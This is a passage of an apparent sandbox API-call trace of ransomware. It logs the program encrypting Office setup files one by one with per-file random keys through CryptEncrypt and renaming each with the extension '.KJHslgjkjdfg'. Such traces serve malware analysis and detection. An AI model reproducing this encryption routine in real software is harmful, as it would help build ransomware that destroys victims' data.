liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.991] SetEndOfFile (hFile=0x118) returned 1 [0169.993] GetProcessHeap () returned 0x2ef0000 [0169.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.994] GetProcessHeap () returned 0x2ef0000 [0169.994] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.kjhslgjkjdfg")) returned 1 [0169.999] CloseHandle (hObject=0x118) returned 1 [0169.999] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0169.999] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0169.999] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0169.999] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.015] GetProcessHeap () returned 0x2ef0000 [0170.015] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.016] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.016] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.016] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x7, lpOverlapped=0x0) returned 1 [0170.018] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.018] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.018] GetProcessHeap () returned 0x2ef0000 [0170.018] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.019] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.019] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.019] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.019] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.019] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.019] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.019] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.019] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.019] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.019] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.019] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.019] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9339, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x9339, lpOverlapped=0x0) returned 1 [0170.021] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x9340, dwBufLen=0x9340 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x9340) returned 1 [0170.021] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.021] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x9340, lpOverlapped=0x0) returned 1 [0170.022] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.022] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.022] SetEndOfFile (hFile=0x118) returned 1 [0170.024] GetProcessHeap () returned 0x2ef0000 [0170.024] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.025] GetProcessHeap () returned 0x2ef0000 [0170.025] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.025] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.kjhslgjkjdfg")) returned 1 [0170.025] CloseHandle (hObject=0x118) returned 1 [0170.025] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0170.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.026] GetProcessHeap () returned 0x2ef0000 [0170.026] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.026] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.026] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.026] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xf, lpOverlapped=0x0) returned 1 [0170.028] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.028] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.028] GetProcessHeap () returned 0x2ef0000 [0170.028] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.028] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.028] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.028] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.029] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.029] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.029] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.029] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.029] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.029] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.029] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.029] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.029] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6931, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x6931, lpOverlapped=0x0) returned 1 [0170.030] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x6940, dwBufLen=0x6940 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x6940) returned 1 [0170.031] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.031] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x6940, lpOverlapped=0x0) returned 1 [0170.031] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.031] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.031] SetEndOfFile (hFile=0x118) returned 1 [0170.034] GetProcessHeap () returned 0x2ef0000 [0170.034] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.034] GetProcessHeap () returned 0x2ef0000 [0170.034] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.kjhslgjkjdfg")) returned 1 [0170.039] CloseHandle (hObject=0x118) returned 1 [0170.039] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0170.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.040] GetProcessHeap () returned 0x2ef0000 [0170.040] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.041] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.041] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.041] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x5, lpOverlapped=0x0) returned 1 [0170.043] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.043] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.043] GetProcessHeap () returned 0x2ef0000 [0170.043] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.043] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.043] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.043] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.043] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.044] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.044] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.044] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.044] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.044] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.044] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.044] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.044] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6a3b, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x6a3b, lpOverlapped=0x0) returned 1 [0170.045] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x6a40, dwBufLen=0x6a40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x6a40) returned 1 [0170.045] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.045] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x6a40, lpOverlapped=0x0) returned 1 [0170.046] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.046] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6b04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.046] SetEndOfFile (hFile=0x118) returned 1 [0170.049] GetProcessHeap () returned 0x2ef0000 [0170.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.049] GetProcessHeap () returned 0x2ef0000 [0170.049] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.kjhslgjkjdfg")) returned 1 [0170.055] CloseHandle (hObject=0x118) returned 1 [0170.055] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0170.055] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.056] GetProcessHeap () returned 0x2ef0000 [0170.057] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.057] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.057] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.057] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xa, lpOverlapped=0x0) returned 1 [0170.059] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.059] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.059] GetProcessHeap () returned 0x2ef0000 [0170.059] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.059] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.059] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.059] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.059] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.060] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.060] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.060] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.060] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.060] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.060] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.060] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.060] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10676, 